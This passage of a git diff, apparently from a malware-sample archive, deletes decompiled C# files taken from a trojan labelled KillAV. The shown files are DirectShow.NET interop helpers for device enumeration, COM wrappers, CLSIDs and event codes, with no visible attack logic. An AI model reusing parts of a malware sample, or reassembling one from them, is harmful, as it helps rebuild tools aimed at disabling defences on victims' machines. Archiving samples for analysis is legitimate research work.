Size; - public int Width; - public int Height; - public short Planes; - public short BitCount; - public int Compression; - public int ImageSize; - public int XPelsPerMeter; - public int YPelsPerMeter; - public int ClrUsed; - public int ClrImportant; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/CLSCTX.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/CLSCTX.cs deleted file mode 100644 index db948193..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/CLSCTX.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.CLSCTX -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; - -namespace DShowNET -{ - [Flags] - internal enum CLSCTX - { - Inproc = 3, - Server = 21, // 0x00000015 - All = 23, // 0x00000017 - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Clsid.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Clsid.cs deleted file mode 100644 index 3fd6c103..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Clsid.cs +++ /dev/null @@ -1,29 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Clsid -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public class Clsid - { - public static readonly Guid SystemDeviceEnum = new Guid(1656642832, (short) 24811, (short) 4560, (byte) 189, (byte) 59, (byte) 0, (byte) 160, (byte) 201, (byte) 17, (byte) 206, (byte) 134); - public static readonly Guid FilterGraph = new Guid(3828804531U, (ushort) 21071, (ushort) 4558, (byte) 159, (byte) 83, (byte) 0, (byte) 32, (byte) 175, (byte) 11, (byte) 167, (byte) 112); - public static readonly Guid CaptureGraphBuilder2 = new Guid(3213342433U, (ushort) 35879, (ushort) 4560, (byte) 179, (byte) 240, (byte) 0, (byte) 170, (byte) 0, (byte) 55, (byte) 97, (byte) 197); - public static readonly Guid SampleGrabber = new Guid(3253993632U, (ushort) 16136, (ushort) 4563, (byte) 159, (byte) 11, (byte) 0, (byte) 96, (byte) 8, (byte) 3, (byte) 158, (byte) 55); - public static readonly Guid InfTee = new Guid(4164454976U, (ushort) 54715, (ushort) 4560, (byte) 190, (byte) 90, (byte) 0, (byte) 128, (byte) 199, (byte) 6, (byte) 86, (byte) 142); - public static readonly Guid DvdGraphBuilder = new Guid(4240528055U, (ushort) 62322, (ushort) 4560, (byte) 142, (byte) 0, (byte) 0, (byte) 192, (byte) 79, (byte) 215, (byte) 192, (byte) 139); - public static readonly Guid StreamBufferSink = new Guid("2db47ae5-cf39-43c2-b4d6-0cd8d90946f4"); - public static readonly Guid StreamBufferSource = new Guid("c9f5fe02-f851-4eb5-99ee-ad602af1e619"); - public static readonly Guid VideoMixingRenderer = new Guid(3095128955U, (ushort) 36137, (ushort) 16959, (byte) 174, (byte) 77, (byte) 101, (byte) 130, (byte) 193, (byte) 1, (byte) 117, (byte) 172); - public static readonly Guid VideoMixingRenderer9 = new Guid(1370794995, (short) 29839, (short) 20027, (byte) 162, (byte) 118, (byte) 200, (byte) 40, (byte) 51, (byte) 14, (byte) 146, (byte) 106); - public static readonly Guid VideoRendererDefault = new Guid(1807863802U, (ushort) 36801, (ushort) 16993, (byte) 172, (byte) 34, (byte) 207, (byte) 180, (byte) 204, (byte) 56, (byte) 219, (byte) 80); - public static readonly Guid AviSplitter = new Guid(458509344U, (ushort) 64779, (ushort) 4558, (byte) 140, (byte) 99, (byte) 0, (byte) 170, (byte) 0, (byte) 68, (byte) 181, (byte) 30); - public static readonly Guid SmartTee = new Guid(3428377216U, (ushort) 35489, (ushort) 4561, (byte) 179, (byte) 241, (byte) 0, (byte) 170, (byte) 0, (byte) 55, (byte) 97, (byte) 197); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Device/DsDev.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Device/DsDev.cs deleted file mode 100644 index 6dd65088..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Device/DsDev.cs +++ /dev/null @@ -1,91 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Device.DsDev -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Collections; -using System.Runtime.InteropServices; - -namespace DShowNET.Device -{ - [ComVisible(false)] - public class DsDev - { - public static bool GetDevicesOfCat(Guid cat, out ArrayList devs) - { - devs = (ArrayList) null; - object o = (object) null; - ICreateDevEnum createDevEnum = (ICreateDevEnum) null; - UCOMIEnumMoniker ppEnumMoniker = (UCOMIEnumMoniker) null; - UCOMIMoniker[] rgelt = new UCOMIMoniker[1]; - try - { - o = Activator.CreateInstance(Type.GetTypeFromCLSID(Clsid.SystemDeviceEnum)); - ((ICreateDevEnum) o).CreateClassEnumerator(ref cat, out ppEnumMoniker, 0); - int num = 0; - while (ppEnumMoniker.Next(1, rgelt, out int _) == 0 && rgelt[0] != null) - { - DsDevice dsDevice = new DsDevice(); - dsDevice.Name = DsDev.GetFriendlyName(rgelt[0]); - if (devs == null) - devs = new ArrayList(); - dsDevice.Mon = rgelt[0]; - rgelt[0] = (UCOMIMoniker) null; - devs.Add((object) dsDevice); - ++num; - } - return num > 0; - } - catch (Exception ex) - { - if (devs != null) - { - foreach (DsDevice dsDevice in devs) - dsDevice.Dispose(); - devs = (ArrayList) null; - } - return false; - } - finally - { - createDevEnum = (ICreateDevEnum) null; - if (rgelt[0] != null) - Marshal.ReleaseComObject((object) rgelt[0]); - rgelt[0] = (UCOMIMoniker) null; - if (ppEnumMoniker != null) - Marshal.ReleaseComObject((object) ppEnumMoniker); - if (o != null) - Marshal.ReleaseComObject(o); - } - } - - private static string GetFriendlyName(UCOMIMoniker mon) - { - object ppvObj = (object) null; - IPropertyBag propertyBag1 = (IPropertyBag) null; - try - { - Guid guid = typeof (IPropertyBag).GUID; - mon.BindToStorage((UCOMIBindCtx) null, (UCOMIMoniker) null, ref guid, out ppvObj); - IPropertyBag propertyBag2 = (IPropertyBag) ppvObj; - object pVar = (object) ""; - int errorCode = propertyBag2.Read("FriendlyName", ref pVar, IntPtr.Zero); - if (errorCode != 0) - Marshal.ThrowExceptionForHR(errorCode); - return pVar as string; - } - catch (Exception ex) - { - return (string) null; - } - finally - { - propertyBag1 = (IPropertyBag) null; - if (ppvObj != null) - Marshal.ReleaseComObject(ppvObj); - } - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Device/DsDevice.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Device/DsDevice.cs deleted file mode 100644 index 1043220a..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Device/DsDevice.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Device.DsDevice -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.InteropServices; - -namespace DShowNET.Device -{ - [ComVisible(false)] - public class DsDevice : IDisposable - { - public string Name; - public UCOMIMoniker Mon; - - public void Dispose() - { - if (this.Mon != null) - Marshal.ReleaseComObject((object) this.Mon); - this.Mon = (UCOMIMoniker) null; - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Device/ICreateDevEnum.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Device/ICreateDevEnum.cs deleted file mode 100644 index 280f6777..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Device/ICreateDevEnum.cs +++ /dev/null @@ -1,22 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Device.ICreateDevEnum -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET.Device -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("29840822-5B84-11D0-BD3B-00A0C911CE86")] - [ComVisible(true)] - [ComImport] - public interface ICreateDevEnum - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int CreateClassEnumerator([In] ref Guid pType, out UCOMIEnumMoniker ppEnumMoniker, [In] int dwFlags); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Device/IPropertyBag.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Device/IPropertyBag.cs deleted file mode 100644 index 4300440f..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Device/IPropertyBag.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Device.IPropertyBag -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET.Device -{ - [Guid("55272A00-42CB-11CE-8135-00AA004BB851")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComVisible(true)] - [ComImport] - public interface IPropertyBag - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int Read([MarshalAs(UnmanagedType.LPWStr), In] string pszPropName, [MarshalAs(UnmanagedType.Struct), In, Out] ref object pVar, IntPtr pErrorLog); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Write([MarshalAs(UnmanagedType.LPWStr), In] string pszPropName, [MarshalAs(UnmanagedType.Struct), In] ref object pVar); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsBugWO.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsBugWO.cs deleted file mode 100644 index ac0adab7..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsBugWO.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.DsBugWO -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.InteropServices; -using System.Runtime.Remoting.Services; - -namespace DShowNET -{ - public class DsBugWO - { - public static object CreateDsInstance(ref Guid clsid, ref Guid riid) - { - IntPtr ptrIf; - int instance = DsBugWO.CoCreateInstance(ref clsid, IntPtr.Zero, CLSCTX.Inproc, ref riid, out ptrIf); - if (instance != 0 || ptrIf == IntPtr.Zero) - Marshal.ThrowExceptionForHR(instance); - Guid iid = new Guid("00000000-0000-0000-C000-000000000046"); - Marshal.QueryInterface(ptrIf, ref iid, out IntPtr _); - object dsInstance = EnterpriseServicesHelper.WrapIUnknownWithComObject(ptrIf); - Marshal.Release(ptrIf); - return dsInstance; - } - - [DllImport("ole32.dll")] - private static extern int CoCreateInstance( - ref Guid clsid, - IntPtr pUnkOuter, - CLSCTX dwClsContext, - ref Guid iid, - out IntPtr ptrIf); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsCAUUID.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsCAUUID.cs deleted file mode 100644 index ab19ffd6..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsCAUUID.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.DsCAUUID -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public struct DsCAUUID - { - public int cElems; - public IntPtr pElems; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsEvCode.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsEvCode.cs deleted file mode 100644 index 06ecb14f..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsEvCode.cs +++ /dev/null @@ -1,64 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.DsEvCode -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -namespace DShowNET -{ - public enum DsEvCode - { - None = 0, - Complete = 1, - UserAbort = 2, - ErrorAbort = 3, - Time = 4, - Repaint = 5, - StErrStopped = 6, - StErrStPlaying = 7, - ErrorStPlaying = 8, - PaletteChanged = 9, - VideoSizeChanged = 10, // 0x0000000A - QualityChange = 11, // 0x0000000B - ShuttingDown = 12, // 0x0000000C - ClockChanged = 13, // 0x0000000D - Paused = 14, // 0x0000000E - OpeningFile = 16, // 0x00000010 - BufferingData = 17, // 0x00000011 - FullScreenLost = 18, // 0x00000012 - Activate = 19, // 0x00000013 - NeedRestart = 20, // 0x00000014 - WindowDestroyed = 21, // 0x00000015 - DisplayChanged = 22, // 0x00000016 - Starvation = 23, // 0x00000017 - OleEvent = 24, // 0x00000018 - NotifyWindow = 25, // 0x00000019 - DvdDomChange = 257, // 0x00000101 - DvdTitleChange = 258, // 0x00000102 - DvdChaptStart = 259, // 0x00000103 - DvdAudioStChange = 260, // 0x00000104 - DvdSubPicStChange = 261, // 0x00000105 - DvdAngleChange = 262, // 0x00000106 - DvdButtonChange = 263, // 0x00000107 - DvdValidUopsChange = 264, // 0x00000108 - DvdStillOn = 265, // 0x00000109 - DvdStillOff = 266, // 0x0000010A - DvdCurrentTime = 267, // 0x0000010B - DvdError = 268, // 0x0000010C - DvdWarning = 269, // 0x0000010D - DvdChaptAutoStop = 270, // 0x0000010E - DvdNoFpPgc = 271, // 0x0000010F - DvdPlaybRateChange = 272, // 0x00000110 - DvdParentalLChange = 273, // 0x00000111 - DvdPlaybStopped = 274, // 0x00000112 - DvdAnglesAvail = 275, // 0x00000113 - DvdPeriodAStop = 276, // 0x00000114 - DvdButtonAActivated = 277, // 0x00000115 - DvdCmdStart = 278, // 0x00000116 - DvdCmdEnd = 279, // 0x00000117 - DvdDiscEjected = 280, // 0x00000118 - DvdDiscInserted = 281, // 0x00000119 - DvdCurrentHmsfTime = 282, // 0x0000011A - DvdKaraokeMode = 283, // 0x0000011B - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsHlp.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsHlp.cs deleted file mode 100644 index 13722723..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsHlp.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.DsHlp -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; -using System.Text; - -namespace DShowNET -{ - [ComVisible(false)] - public class DsHlp - { - public const int OATRUE = -1; - public const int OAFALSE = 0; - - [DllImport("quartz.dll", CharSet = CharSet.Auto)] - public static extern int AMGetErrorText(int hr, StringBuilder buf, int max); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsOptInt64.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsOptInt64.cs deleted file mode 100644 index 69bd0b8c..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsOptInt64.cs +++ /dev/null @@ -1,19 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.DsOptInt64 -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential)] - public class DsOptInt64 - { - public long Value; - - public DsOptInt64(long Value) => this.Value = Value; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsOptIntPtr.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsOptIntPtr.cs deleted file mode 100644 index efaf5ba1..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsOptIntPtr.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.DsOptIntPtr -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential)] - public class DsOptIntPtr - { - public IntPtr Pointer; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsPOINT.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsPOINT.cs deleted file mode 100644 index a5c2f47b..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsPOINT.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.DsPOINT -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public struct DsPOINT - { - public int X; - public int Y; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsRECT.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsRECT.cs deleted file mode 100644 index 542ddd6b..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsRECT.cs +++ /dev/null @@ -1,19 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.DsRECT -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public struct DsRECT - { - public int Left; - public int Top; - public int Right; - public int Bottom; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsROT.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsROT.cs deleted file mode 100644 index 2347be00..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsROT.cs +++ /dev/null @@ -1,80 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.DsROT -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public class DsROT - { - private const int ROTFLAGS_REGISTRATIONKEEPSALIVE = 1; - - public static bool AddGraphToRot(object graph, out int cookie) - { - cookie = 0; - UCOMIRunningObjectTable pprot = (UCOMIRunningObjectTable) null; - UCOMIMoniker ppmk = (UCOMIMoniker) null; - try - { - int runningObjectTable = DsROT.GetRunningObjectTable(0, out pprot); - if (runningObjectTable < 0) - Marshal.ThrowExceptionForHR(runningObjectTable); - int currentProcessId = DsROT.GetCurrentProcessId(); - IntPtr iunknownForObject = Marshal.GetIUnknownForObject(graph); - int num = (int) iunknownForObject; - Marshal.Release(iunknownForObject); - int itemMoniker = DsROT.CreateItemMoniker("!", string.Format("FilterGraph {0} pid {1}", (object) num.ToString("x8"), (object) currentProcessId.ToString("x8")), out ppmk); - if (itemMoniker < 0) - Marshal.ThrowExceptionForHR(itemMoniker); - pprot.Register(1, graph, ppmk, out cookie); - return true; - } - catch (Exception ex) - { - return false; - } - finally - { - if (ppmk != null) - Marshal.ReleaseComObject((object) ppmk); - if (pprot != null) - Marshal.ReleaseComObject((object) pprot); - } - } - - public static bool RemoveGraphFromRot(ref int cookie) - { - UCOMIRunningObjectTable pprot = (UCOMIRunningObjectTable) null; - try - { - DsROT.GetRunningObjectTable(0, out pprot); - pprot.Revoke(cookie); - cookie = 0; - return true; - } - catch (Exception ex) - { - return false; - } - finally - { - if (pprot != null) - Marshal.ReleaseComObject((object) pprot); - } - } - - [DllImport("ole32.dll")] - private static extern int GetRunningObjectTable(int r, out UCOMIRunningObjectTable pprot); - - [DllImport("ole32.dll", CharSet = CharSet.Unicode)] - private static extern int CreateItemMoniker(string delim, string item, out UCOMIMoniker ppmk); - - [DllImport("kernel32.dll")] - private static extern int GetCurrentProcessId(); - } -} diff --git 